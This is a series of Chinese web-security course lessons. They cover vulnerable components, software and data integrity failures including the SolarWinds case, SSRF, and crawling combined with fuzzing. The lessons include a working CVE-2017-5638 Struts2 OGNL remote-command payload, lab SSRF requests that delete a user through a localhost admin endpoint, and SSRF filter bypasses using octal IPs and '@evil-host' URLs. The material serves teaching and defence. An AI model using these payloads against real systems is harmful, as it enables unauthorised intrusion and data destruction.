Struts2是一个Java Web应用框架它可以帮助我们更容易地去构建一个Web应用。在简单地了解了Struts2之后我们开始学习Struts2远程代码执行漏洞产生的原理。
事实上Struts2漏洞发生在文件上传过程中我们知道上传和下载在Web应用中属于常用功能可是Struts2本身并没有提供这个功能而是选择调用模块Jakarta来实现文件的上传。这个Jakarta在处理文件上传请求时会对异常信息进行OGNL表达式解析处理这就是导致漏洞产生的核心因素。
攻击者可以访问使用Struts2制作的Web应用并且用BurpSuite捕获报文将HTTP请求头中的Content-Type改为包含multipart/form-data的OGNL恶意命令。这样Struts2在接收到这个请求后由于Content-Type的值包含multipart/form-data所以认为这是一个文件上传请求进而交给Jakarta进行处理。可是我们的Content-Type中包含了恶意的OGNL代码导致Jakarta在处理它时会发现异常并将异常信息交给OGNL表达式解析处理。这样我们的恶意OGNL代码就会被执行。
这就是Struts2远程代码执行漏洞该漏洞被称为CVE-2017-5638它的影响版本为Struts 2.3.5 - Struts 2.3.31以及Struts 2.5 - Struts 2.5.10。接下来,让我们通过实战,来亲自体会它的威力吧!
实战演练
我们进入实战环节登录谜团mituan.zone并选择【易受攻击和过时的组件CVE-2017-5638】靶机如果你可以看到如下页面那就成功打开了我们的靶场。
接下来我们刷新页面用BurpSuite拦截请求获取到如下报文
GET /showcase.action HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
下面我们给它添加一个Content-Type请求头并将包含multipart/form-data字符串的恶意payload作为它的值。
GET /showcase.action HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Content-Type:
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C7D2C0C8353A3D952C576487D42216E3
Connection: close
payload是一段OGNL语句你可能看不懂它不用担心这里我们只需要知道在payload中cmd的值指定为 ls -l这样就可以让Web应用执行 ls -l 命令,并将输出进行返回。将我们精心修改后的报文发送出去,你就可以看到页面响应内容变为如下:
可以看到,我们注入的命令 ls -l 的结果已经返回在页面上,攻击成功。
到这里你已经学习了易受攻击和过时组件会给Web应用造成的威胁接下来我们来学习如何抵御组件不安全的问题。
防御方式
为了保证我们的Web应用不会因为组件问题导致威胁的存在我们需要了解开发的Web应用中所有的组件信息然后对它们进行检查判断其中是否有不安全的组件存在如果存在就对它们进行限制或修改解决安全隐患同时持续关注这些组件的安全信息。
这样我们就可以尽可能地减少组件安全性问题发生的概率。不过上述措施实施起来还是比较困难的毕竟一个Web应用可能会用到很多的组件。为了解决这个问题我们可以利用DevSecOps来开发我们的应用。下面我们来学习DevSecOps是什么以及它是如何保护Web应用组件安全的。
DevSecOps
想要学习DevSecOps我们首先要了解DevOps是什么。
DevOps即有质量保证的开发与运维它代表的是一组过程、方法与系统的统称用于促进开发、技术运营以及质量保障部门之间的沟通、协作与调整。
在DevOps模式下运维人员会在项目开发期就介入到开发过程中了解开发人员使用的系统架构和技术路线从而制定适当的运维方案。而开发人员也会在运维的初期参与到系统部署中并提供系统部署的优化建议。这样不仅可以加深开发人员和运维人员的感情还能使得彼此更了解应用的整体情况有助于提高实施效率。
DevSecOps相比较而言多了Sec三个字母事实上它确实就是将安全性无缝集成到DevOps的每个阶段。它统一了开发活动、操作支持和安全检查。在DevSecOps中对代码的任何更改都会触发安全检查其中若存在易受攻击和不安全的组件就会很快被发现及更改。
总结
在这节课程中,我们学习了易受攻击和过时的组件问题。
首先,我们对组件进行了理解,知道了它其实是一个灵活的概念,我们可以将它理解为独立的功能单元。
之后我们通过对Struts以及Apache这两个组件安全性的分析结合实战切身地了解了不安全的组件会给我们整个Web应用的安全性造成极大的威胁。
最后我们学习了如何抵御组件安全性问题即通过DevSecOps方式开发我们的Web应用对所用的组件及依赖项进行及时的检测。这样就可以很好地保护我们的Web应用啦
思考题
你还知道哪些组件安全问题吗?以及如何防御?
欢迎在评论区中分享。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,105 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
32 软件和数据完整性故障SolarWinds事件的幕后⿊⼿
你好,我是王昊天。
在日常生活中,我们经常会用到一些应用软件,例如微信以及支付宝等,它们无疑给我们的生活带来了很大的便利。但是,你有没有想过这些应用软件会不会被人篡改呢?
现在让我们一起设想一个情况,假设你常用的某款应用被攻击者篡改过,并且该应用没有检测出代码被更改,导致你可以正常使用它并且察觉不到它已经被篡改了。那么,这款应用在运行时,就会执行攻击者写入的恶意代码,这会对我们的设备安全造成极大的破坏。
这一讲,我们一起来分析软件和数据完整性故障问题的原因和后果。
软件和数据完整性故障
我们可以将软件和数据完整性故障分为两个方向,即软件完整性故障及数据完整性故障。
其中,软件完整性故障代表应用的运行代码可能受到篡改,攻击者可以将恶意代码加入到应用程序中,使得应用程序运行时,恶意代码也被执行。
而数据完整性故障则代表应用发送的数据可能受到篡改,攻击者可以通过修改一些数据,实现欺骗其他用户乃至绕过访问控制。
到这里,你已经对软件和数据完整性故障有了大致的了解,接下来我们会进入到对它们的具体学习中,首先让我们来看软件的完整性故障。
软件的完整性故障
软件的完整性故障就是应用的运行代码可能受到了篡改,那么攻击者是如何对其进行更改的呢?
事实上,攻击者可以通过多种途径来修改应用代码。下面,让我们来看其中典型的三种攻击方式。
第一种方式最简单,当应用依赖于一些来源不可信的插件或模块时,攻击者就可以尝试对这些依赖项的代码进行修改,这样应用在引入依赖项时也会将恶意代码引入,从而导致软件完整性被破坏。
接下来我们来看第二种攻击方式。为了让你更好地理解这种方式我们先来学习一个概念即CI/CD管道它是Continuous Integration以及Continuous Delivery的缩写意为持续集成和持续部署。在上一讲中我们学习了Devops理念而CI/CD管道实际上就是实现这种理念的具体方法它可以使得开发和运营团队能够在整个软件开发生命周期中进行协作完成代码从构建到部署乃至最后的安全性检测这些阶段。
当应用的CI/CD管道安全性不充分时攻击者就可以在CI/CD的过程中向应用代码插入恶意代码如果这段代码可以绕过CI/CD阶段安全性的测试那么这段恶意代码将会随着应用一起被部署、使用以及执行。
下面,我们来看最后一种攻击方式。这种攻击方式,利用的是我们熟悉的应用更新过程。如果一个应用在更新时,没有对其更新的内容进行完整性验证就将它添加到应用中,那么在这个过程中,就可能会存在恶意代码的添加。攻击者可以将自己准备的恶意更新包进行上传,供其他用户使用更新。当用户使用恶意更新包更新应用时,就会使得恶意代码加入到应用中。
值得一提的是有的时候官方的更新包也可能存在恶意代码在这种情况下几乎可以使得所有用户受到恶意代码的攻击。著名的SolarWinds事件就是因为官方更新包中存在恶意代码所导致的。一般来讲这种情况的发生都是由于应用开发内部存在内鬼。
到这里你已经明白了软件完整性故障的攻击方式接下来让我们一起来看一下刚刚提到的SolarWinds事件它算是一个影响力极大的软件完整性故障实例。
软件的完整性故障实例
在2020年12月13日FireEye发布了关于SolarWinds供应链攻击的报告报告中指出SolarWinds Orion软件更新包中被黑客植入了后门。本次供应链攻击事件波及范围极大包括政府部门、关键基础设施以及多家全球500强企业造成的影响目前无法估计。
不难发现这次SolarWinds事件非常恶劣那么它到底是如何实现的呢攻击者是在版本2019.4-2020.2.1中植入了恶意的后门应用程序。这些恶意程序利用SolarWinds的数字证书绕过验证伪装成正常的协议与攻击者进行通信并将结果隐藏在合法的插件配置文件中从而达到隐藏自身的目的。
这就是著名的SolarWinds事件从攻击者的行为、使用的技术以及足够的基础设施支撑来看其攻击水平与技术成熟度无疑是国家背景的黑客组织。经过调查白宫网格统一协调小组明确披露此次事件的幕后黑手就是俄罗斯情报部门他们对此付出了极高的成本。
到这里,你已经完成了对软件完整性故障的学习,接下来让我们学习同样重要的数据完整性故障吧。
数据的完整性故障
数据的完整性故障就是应用发送的数据可能受到了篡改。
在学习数据的完整性故障前,我们首先需要学习两个概念,序列化及反序列化。通俗地说,序列化就是把一个对象变成可以传输的字符串,并让它可以以特定的格式在进程之间跨平台安全地进行通信。这么说可能会比较抽象,接下来我们一起看一个简单示例。
从上图中我们可以看到User是一个对象它包含两个属性id以及name我们想要传输数据就需要将它转化为JSON格式这样才便于实现数据的传输反序列化则是它的相反过程。
事实上,攻击者可以对序列化之后的数据进行修改,这样应用的数据完整性就会被破坏,如果没有数据的完整性验证,那么攻击者很可能成功伪造一些数据,而这会对应用的安全造成破坏。接下来,让我们一起看一个示例来加深我们对数据的完整性故障的理解。
数据的完整性故障示例
如下是一个登陆过程我们需要在浏览器中输入自己的账号和密码然后点击登陆之后服务器收到登陆请求后会判断账号密码是否正确如果正确就返回一个登陆成功的提示信息以及一个cookie然后将这个cookie信息存储在浏览器中。
假设攻击者user1登录成功并从浏览器存储中找到了自己的cookie发现它是由数字123以及自己的用户名构成的之后将这个cookie中的user1改为admin尝试登陆管理员身份。此时如果Web应用缺乏对数据完整性的校验那么就会将攻击者当作管理员处理使得攻击者成功实施自己的恶意登录行为。
那么到这里,你已经学习了什么是数据完整性故障,也知道了它的危险之处。下面让我们一起学习如何抵御软件和数据完整性故障吧!
如何抵御软件和数据完整性故障
我们可以根据软件和数据完整性故障产生的不同原因,针对性地执行防御措施。
为了防止用户下载被修改过的应用或者修改应用发送的数据,我们可以在应用中增加数字签名机制。这样,如果应用或数据被修改,那么就通过不了数字签名的验证,使得修改过的应用或数据无效。这虽然不能防止软件或数据被篡改,但是可以有效地使得攻击行为无效。
对于一些包管理工具例如NPM、Maven我们通常需要从其中下载一些内容来使用。所以我们需要确保这些包管理工具是可信的避免下载一些攻击者篡改过的工具从而导致软件完整性故障。
为了防止CI/CD管道过程中出现有害软件完整性的问题我们需要确保CI/CD管道具有适当的隔离配置以及访问控制使得攻击者无法通过这个过程来修改应用的代码。
总结
在这一讲中,我们学习了软件和数据完整性故障问题。
首先,我们对什么是软件和数据完整性故障问题进行了了解,知道了软件完整性故障代表应用的运行代码可能受到篡改,攻击者可以将恶意代码加入到应用程序中,使得应用程序运行时,恶意代码也被执行。而数据完整性故障则代表应用发送的数据可能受到篡改,攻击者可以通过修改一些数据,实现欺骗其他用户乃至绕过访问控制。
在简单地了解完软件和数据完整性故障之后,我们对它们进行了具体的学习。
在对软件完整性问题的学习中我们可以通过SolarWinds事件清晰地知道软件完整性问题的实现方式以及后果的严重性。而对数据完整性问题的学习中我们通过一个登录示例具体了解了数据完整性是怎么一回事以及可能会导致的后果。
最后,我们学习了软件和数据完整性故障的防御方案,从多个不同的攻击角度,针对性地给出了相应的解决方案。
思考题
你觉得软件和数据完整性故障问题的本质是什么?
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,163 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
33 SSRF穿越边界防护的利刃
你好,我是王昊天。
在现实生活中,会有很多的边界对我们进行限制。
记得我小时候,不是特别喜欢上学读书,经常会产生从学校跑回家的想法。可是学校四周都有围栏,唯一的出口就是校门,而校门会有保安监控,想要出去一定要老师的批假条。没有正当理由,老师是不会给我批假,这就导致我无法跑回家。其实,校门就是一个边界,它会阻止外面的坏人进入,也会阻止逃课的小孩偷偷溜回家。
在Web应用中出于安全性的考虑也是有边界存在的它会限制一些资源使得其在边界内可以访问而边界外的我们无法访问。不过我们仍然可以通过SSRF攻击穿越边界对其进行访问下面让我们一起来学习下这种穿越方式吧
SSRF服务端请求伪造攻击
SSRF即为Server Side Request Forgery的缩写它意为服务端请求伪造。指的是当攻击者无法访问Web应用的内网时在未能取得服务器所有权限的情况下利用服务器存在的漏洞以服务器的身份发送一条精心构造好的请求给服务器所在内网从而成功对内网发起请求。
下面让我们通过一个示例加深我们对SSRF的理解。
上图是一个Web购物应用靶场中的一个商品详情页面。从图中我们可以看出该商品是一个便携啤酒腰带由于它非常方便所以我们点击Check stock即检查库存按钮发现它还有509个可惜不支持发货到中国不然我们就可以直接下单。于是感到气愤的我想要对其进行攻击行为。
于是我再次点击检查库存按钮并用BurpSuite捕获到如下报文
POST /product/stock HTTP/1.1
Host: ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
Cookie: session=WjZYVShyY7v3E3tfhT55IGh0hmVYXyAA
Content-Length: 107
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D3%26storeId%3D1
经过观察我们容易发现它通过POST方式上传了一个接口stockAPI用来获取商品库存的数目。
我们将这个接口修改为http://localhost/admin尝试获取Web应用的管理员页面。
发送报文后我们惊喜地观察到页面下方确实暴露出来了Web应用的管理页面。接着尝试点击Delete按钮去删除用户可是发现收到的响应如下
我们可以看到该请求被拒绝了这是因为Web应用对管理接口进行了边界限制不允许外网用户在非管理员登录状态下对其进行访问。于是我想起了利用SSRF方式穿越这一边界。
首先我们查看删除按钮对应的链接,接着再次点击检查库存,将捕获到报文中的接口改为删除所对应的链接。
POST /product/stock HTTP/1.1
Host: ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
Cookie: session=6yXqSaAliJJjyWYmdK8kQfAeMSoMxoYt; session=WjZYVShyY7v3E3tfhT55IGh0hmVYXyAA
Content-Length: 107
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac0d1ffb1e4f89bac00a8de300fb00d4.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
stockApi=http://localhost/admin/delete?username=carlos
这样我们发现用户carlos就被我们成功删除了我们通过利用该应用的服务器发起了删除的请求从而绕过了边界对我们行为的限制。
在这个示例中我们使用SSRF攻击对Web应用的本地服务器进行了操作。但事实上我们还可以对内网中的服务器进行攻击例如我知道内网中的一个地址我们想要利用SSRF攻击对其进行操作只需要将localhost改为它的内网地址即可。
学习完这个典型的SSRF漏洞之后我们还需要学习SSRF中一个特殊的类别——Blind SSRF漏洞。
Blind SSRF攻击
当我们可以诱使应用程序向提供的URL发出后端HTTP请求但后端对于这个HTTP请求的响应未在前端页面展示这就是Blind SSRF攻击。
一般来说Blind SSRF漏洞的危害会低于普通SSRF漏洞因为我们不能轻易利用该漏洞从后端系统检索敏感数据而是要类似于之前学习的SQL带外注入一样通过一些带外的方式将敏感数据输出。
到这里你已经明白了SSRF的攻击方式以及原理接下来我们来学习SSRF攻击可能造成的后果。
SSRF攻击的危害
SSRF的危险程度其实与Web应用内网的防御强度相关。
由于边界内的内网服务防御相对外网服务来说一般会较弱甚至部分内网服务出于运维方便的考虑可能对内网都没有进行访问设置及权限验证所以存在SSRF时通常会造成较大的危害。
因此一般来讲成功的SSRF攻击可以导致未经授权的访问或操作、实现对内网的扫描以及利用file协议读取内网服务器中的本地文件。除此之外我们还可以利用SSRF攻击使得Web服务器去请求一个较大的文件这样就可以对应用的服务器发起DOS攻击。
到这里你已经知道了SSRF攻击的可怕之处。接下来让我们一起分析这个漏洞存在的原因以加深我们对它的认知。
SSRF漏洞存在的原因
SSRF漏洞存在的原因可以分为两方面第一方面为对输入链接过滤的失败另一方面则为内网防御措施的缺失。下面让我们先来看第一个原因。
开发者为了抵御SSRF攻击可能会用一些方式例如正则匹配等去过滤一些传过来的URL参数。如果开发者没有对URL参数进行过滤或者过滤不够充分就会导致SSRF漏洞的发生。
为了让你更好地理解,下面让我们来看一个示例。
假如开发者为了防止SSRF攻击会将用户传来的URL数据做正则匹配处理判断该URL是否是内网地址它的匹配逻辑为判断链接是否包含10./172./192.这些内网地址中包含的内容。此时攻击者可以用8进制来表示地址格式就能绕过正则匹配成功将内网地址输入从而发起SSRF攻击。
这个示例是由于正则匹配输入的URL不充分导致的SSRF攻击接下来让我们来看SSRF漏洞存在的另一个重要原因——内网防御措施的缺失。
这里,我们需要仔细观察之前点击删除按键时,应用返回的提示信息。发现这个应用限制未登录的外网账户对管理功能的直接访问,所以我们可以借助服务器用内网对其发送请求,并成功实现恶意行为。那么应用为什么不在内网中做一些防御措施呢?
事实上,在内网中与服务器本身建立连接时,有可能会绕过访问控制检查,因为实现访问控制检查的组件管理不到其对自身的连接。另一方面,出于防止管理员账户密码丢失的目的,通常会允许本机直接登录,这样就算管理员忘记登录凭据也可以访问管理后台进行恢复。
这就是SSRF漏洞存在的两个主要原因。在了解了它们之后我们就可以更好地学习如何防御下面就让我们一起学习SSRF攻击的防御方式以及相应的绕过技巧吧
SSRF攻击的抵御及绕过
为了防止攻击者利用其他协议如file去读取本地文件应用开发者需要限制协议为HTTP/HTTPS这样可以对攻击者的行为做出限制。
对于攻击者将URL改为内网地址实现SSRF穿越边界的行为应用开发者可以对URL设置黑白名单机制使得攻击者设置内网中的URL变得无效。不过攻击者有很多绕过技巧。
对于黑名单验证机制来说应用开发者可能会限制URL中不可包含127.0.0.1这一地址。相应的攻击者可以将URL设为017700000001它是127.0.0.1的八进制表示,这样就可以绕过黑名单机制的限制。
对于白名单验证机制来说攻击者同样是可以绕过的。当开发者限制URL必须以期望的地址expected-host开头攻击者可以将URL设置为http://expected-host@evil-host这里的 @ 可以让URL实际代表 @ 之后的地址这样就能绕过白名单限制使得应用服务器访问evil-host。
总结
在这一讲中我们学习了SSRF漏洞的相关内容。
首先我们学习了SSRF即服务端请求伪造攻击的定义知道了它指的是当攻击者无法访问Web应用的内网时在未能取得服务器所有权限的情况下利用服务器存在的漏洞以服务器的身份发送一条精心构造好的请求给服务器所在内网从而成功对内网发起请求。
之后我们通过一个SSRF示例更好地理解了SSRF攻击的实现方式以及可能造成的后果。此外我们还了解了一种特殊的Blind SSRF事实上它就是不存在回显的SSRF攻击不过我们也可以通过带外的方式获取到一些隐私数据。
然后我们学习了SSRF攻击的危害知道了由于内网服务防御相对较弱所以导致了SSRF攻击危害较为严重。攻击者可以利用SSRF攻击实现未经授权的访问或操作、对内网进行扫描、利用file协议读取内网服务器中的本地文件以及发起DOS攻击。
接着我们对SSRF漏洞存在的原因进行了分析分析后我们知道SSRF其实就是两方面的原因所导致一方面是由于对输入的URL限制不够充分另一方面是因为内网中的防御措施不够完整。
最后我们了解了SSRF攻击的抵御及绕过方式知道了可以通过限制协议以及黑白名单验证的方式来抵御SSRF攻击。攻击者也可以利用八进制表达URL以及利用@来绕过黑白名单对于URL内容的限制
思考题
你知道还有哪些SSRF攻击的防御措施吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,122 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
34 Crawler VS FuzzingDAST与机器学习
你好,我是王昊天。
经过之前的学习相信你已经对Web漏洞挖掘的基础知识有了一定的理解。其中我们学习了多种Web漏洞攻击方式例如SQL注入以及SSRF攻击。事实上网络攻防与战争是类似的。攻击者就好像侵略者一样想要通过攻击行为去获取一些资源或者满足自己的目的而Web应用开发者则像抵抗军一样去尽力守护自己的城市。
我对战争也有一定的研究在八国联军侵略祖国时我们对敌军飞机的进攻束手无策只有在看到它之后使用手枪尝试发射子弹击落它们。这无论是对敌人的侦查以及攻击方式都是不够强力的。当我们祖国富强之后有了雷达探测以及导弹系统就能及时发现敌人的飞机并将它们击落。其实在网络攻防中也存在类似于雷达、导弹一样的工具它们为Crawler与Fuzzing这一讲就让我们一起学习它吧
Crawler VS Fuzzing
Crawler即网络爬虫我们可以利用它来爬取一些自己想要的数据例如豆瓣网的评分以及财经网的股市信息等。在网络攻防中它还具有另一个作用我们可以用它来爬取待攻击页面的所有链接这样就可以扩充我们的攻击目标使我们不仅对当前页面发起攻击还可以对其相关的页面进行攻击。所以我们说 Crawler就像个雷达一样它可以扫描当前页面的信息。这样我们就能获取一些其它可供攻击的目标页面。
而Fuzzing即模糊测试你可能对它较为陌生不过请不用担心事实上它就是一种软件测试技术我们可以通过提供大量非预期的输入并监视异常结果来发现软件的故障从而寻找Web应用的漏洞。可见 Fuzzing 则像一个导弹一样,可以对页面发起强有力的攻击行为。
接下来我们将具体学习一下它们。首先我们来学习Crawler的相关知识。
Crawler网络爬虫
Crawler网络爬虫是一种按照一定的规则从Web应用中获取想要的信息的程序或脚本我们常将它称为网页蜘蛛、网络机器人。
这么说可能有点抽象,为了让你更好地理解网络爬虫,下面我们一起看一个简单的示例。
from urllib import request
print(request.urlopen(request.Request("https://lev.zone/")).read().decode("utf-8"))
上述是一段 Python 爬虫代码,利用它我们就可以获取到潮汐社区首页的内容。运行代码获取到的输出为:
...
<p class="tlak_p">使用潮汐时,你无需进行工具的安装或环境的配置,即可一键开启使用,在线对安全资产进行检测,极速开启主动安全学习之旅。</p>
...
<h5 class="mt-4">自动化攻击编排</h5>
<p class="tlak_p">在潮汐,你可以根据接口,调用不同的安全工具,创建自动化的攻击检测编排,也可以直接使用其他小伙伴贡献的自动化编排,体验自动化主动安全检测的魅力!</p>
...
<a href="./pages/how-use.html" class="text-dark icon-move-right">了解更多
由于内容太多,这里我截取了一部分输出,可以看到我们已经成功获取到了潮汐页面的内容。之后,你可以利用一些比较好用的 Python 库例如BS4对数据内容进行解析提取出我们需要的数据。这样我们无需访问页面也可以获取到页面中我们想要的信息啦。
除此之外还有很多情况需要Crawler爬虫的支持。一个典型的场景为冷启动问题例如一个社区在创立之初它的用户数目肯定是很少的有一些新加入的用户看到社区没什么人很容易因此放弃使用该社区。开发者为了避免这种情况就会使用爬虫去一些人流量较大的Web应用例如微博爬取一些用户的动态放到自己的社区里这有利于构造出社区的氛围。
另一种情形为搜索引擎,如今有很多出名的搜索引擎,例如百度以及 Google。它们当中保存有很多的数据这些数据都是通过爬虫所获取到的。总体来说现在是一个大数据时代我们可以通过爬虫这个低成本高收益的方式去获取想要的数据。
以上都是爬虫的通用功能而对于攻击者而言爬虫对我们也是有很多帮助的。当我们想要攻击一个Web应用时例如http://lev.zone我们会想要获取这个Web页面的所有链接这可以扩大我们的攻击面使得我们攻击成功的概率增加。而需要做到这点我们**只需要将爬虫获取到的内容做解析,将其中 中的内容进行提取,就可以获取到页面的链接了**。
到这里你已经对Crawler网络爬虫的实现方式、原理及功能有了一定的了解。下面让我们一起学习另一部分Fuzzing模糊测试的内容。
Fuzzing模糊测试
Fuzzing技术最早诞生于1950年那时候的计算机数据主要保存在打孔卡片上计算机程序想要对数据进行操作就需要读取这些卡片的数据进行计算和输出。
这个设想是可行的可是有时候会有一些垃圾卡片计算机在读取它们时会获得一些不正常的输入信息这些偶然的错误会导致计算机程序产生错误和异常甚至崩溃这就是Fuzzing最初的来历。
如今随着计算机技术的发展Fuzzing技术也在不断发展现在的Fuzzing是依靠计算机软件自动执行的包括使用随机函数生成随机的测试用例然后计算机会将这些输入发送给测试接口并自动分析系统是否因为这些输入导致异常的发生。这种依赖于计算机的自动执行方式会使得Fuzzing的效率大大提升。效率的提高也使得Fuzzing模糊测试成为了目前最主流的漏洞挖掘方案据了解近年来80%以上的漏洞都是通过Fuzzing发现的。
不知道你是否还记得我们在学习XSS注入时曾经学过一款名为XSStrike的XSS检测工具事实上它就是一款典型的Fuzzing工具。
从工具的使用截图中我们可以看到它按照一定的格式随机生成了很多的payload然后将它发送给我们指定的链接并将页面的异常响应概率返回给了我们。这就是Fuzzing模糊测试的功能之一其实我们还可以利用它来绕WAF、判断Web应用是否有注入漏洞以及 Bug 的存在。
到这里你已经对Fuzzing模糊测试有了一定的理解接下来让我们一起进入到实战部分将Crawler以及Fuzzing相结合这可以帮助你更好地理解Crawler与Fuzzing各自的作用与彼此之间的联系。
实战部分
从这一讲的实战部分开始我们将会用到一个好用的安全工具网站——潮汐社区版http://lev.zone。它可以帮助我们解决安全工具使用的相关问题例如安全工具的使用、更新及维护我们利用它可以便捷地使用各种安全工具。如果你乐于分享你也可以将自己的工具上传到其中供其他用户使用。
接下来我们需要点击立即体验并注册账号在注册过程中需要用到邀请码你使用VefMiMj7N37tHDL7即可不过它仅可支持有限个用户使用。然后登录进去就能看到很多的安全工具啦。
其中就包括了Crawler工具以及Fuzzing工具。不过我们在使用之前需要进行一定的配置设置。
这里需要点击网页顶栏的文档,然后选择使用说明就可以看到该应用的配置方式。
注意,因为我们仅仅需要使用集成好了的工具,所以我们只用按照文档完成 Docker安装、VPN介入凭证设置、SSH连接配置以及Docker-compose启动这四步即可。完成之后我们就可以任意使用其中的工具了。
首先我们选择crawler:1.0这款工具,然后用它来创建一个任务,它可以用来爬取一个网站的所有同域名链接。
这里我们选择谜团http://mituan.zone中的专项·XSS跨站脚本攻击实战作为靶场将它的链接例如
http://be10a2b2f16548f38ed07112904ddaa8.app.mituan.zone
输入到crawler工具中点击运行等待任务完成就会返回爬取到的链接
http://be10a2b2f16548f38ed07112904ddaa8.app.mituan.zone/level1.php?name=test
这样我们就完成了爬虫的功能接着我们将爬取到的链接传递给Fuzzing模糊测试工具XSStrike使用。
结合我们之前对XSStrike的学习从它运行的结果来看我们可以判断出该页面存在XSS注入攻击。
到这里我们已经成功运用了Crawler与Fuzzing对一个Web应用发起漏洞探测。
总结
在这一讲中我们学习了Crawler网络爬虫与Fuzzing模糊测试。
首先我们分析了Crawler网络爬虫的原理即向Web应用发送请求获取响应内容然后从响应内容中提取需要的信息。并且我们还知道了爬虫的功能它不仅可以用来获取信息还可以用来解决冷启动问题。从攻击者角度来说爬虫还可以用来扩大攻击面让我们的思维进行扩展。
之后我们学习了Fuzzing模糊测试了解到它其实就是按照一定的规则构造随机输入然后将输入发送给网页接口进行测试之后根据响应结果是否有异常来判断Web应用是否存在与此相关的安全问题。
最后我们利用潮汐社区版在对该Web应用进行一定的配置之后对谜团中的靶场XSS跨站脚本攻击实战发起攻击行为先使用Crawler网络爬虫获取攻击页面的链接然后将获取到的链接交给Fuzzing模糊测试工具XSStrike使用根据结果我们发现该靶场存在XSS注入问题。
思考题
你认为Fuzzing模糊测试工具的优点有哪些
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,188 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
35 自动化攻防:低代码驱动的渗透工具积累
你好,我是王昊天。
在之前的课程中我们学习了一些Web漏洞挖掘的基础知识这为我们打下了良好的基础。其实在Web攻防中还有一个很重要的部分那就是渗透测试它就是我们发现Web漏洞的一般方式。
其中,在渗透测试时,我们一般需要用到很多网络安全工具,这通常是一个麻烦的问题,因为我们每使用一个网络安全工具都需要获取并学习它,之后再次使用它时还需要注意版本有无更新。不过你不用担心,我已经为你解决了这个问题,潮汐社区版已经集成了大部分常见的网络安全工具,并且会定期更新它们的版本以供你使用。
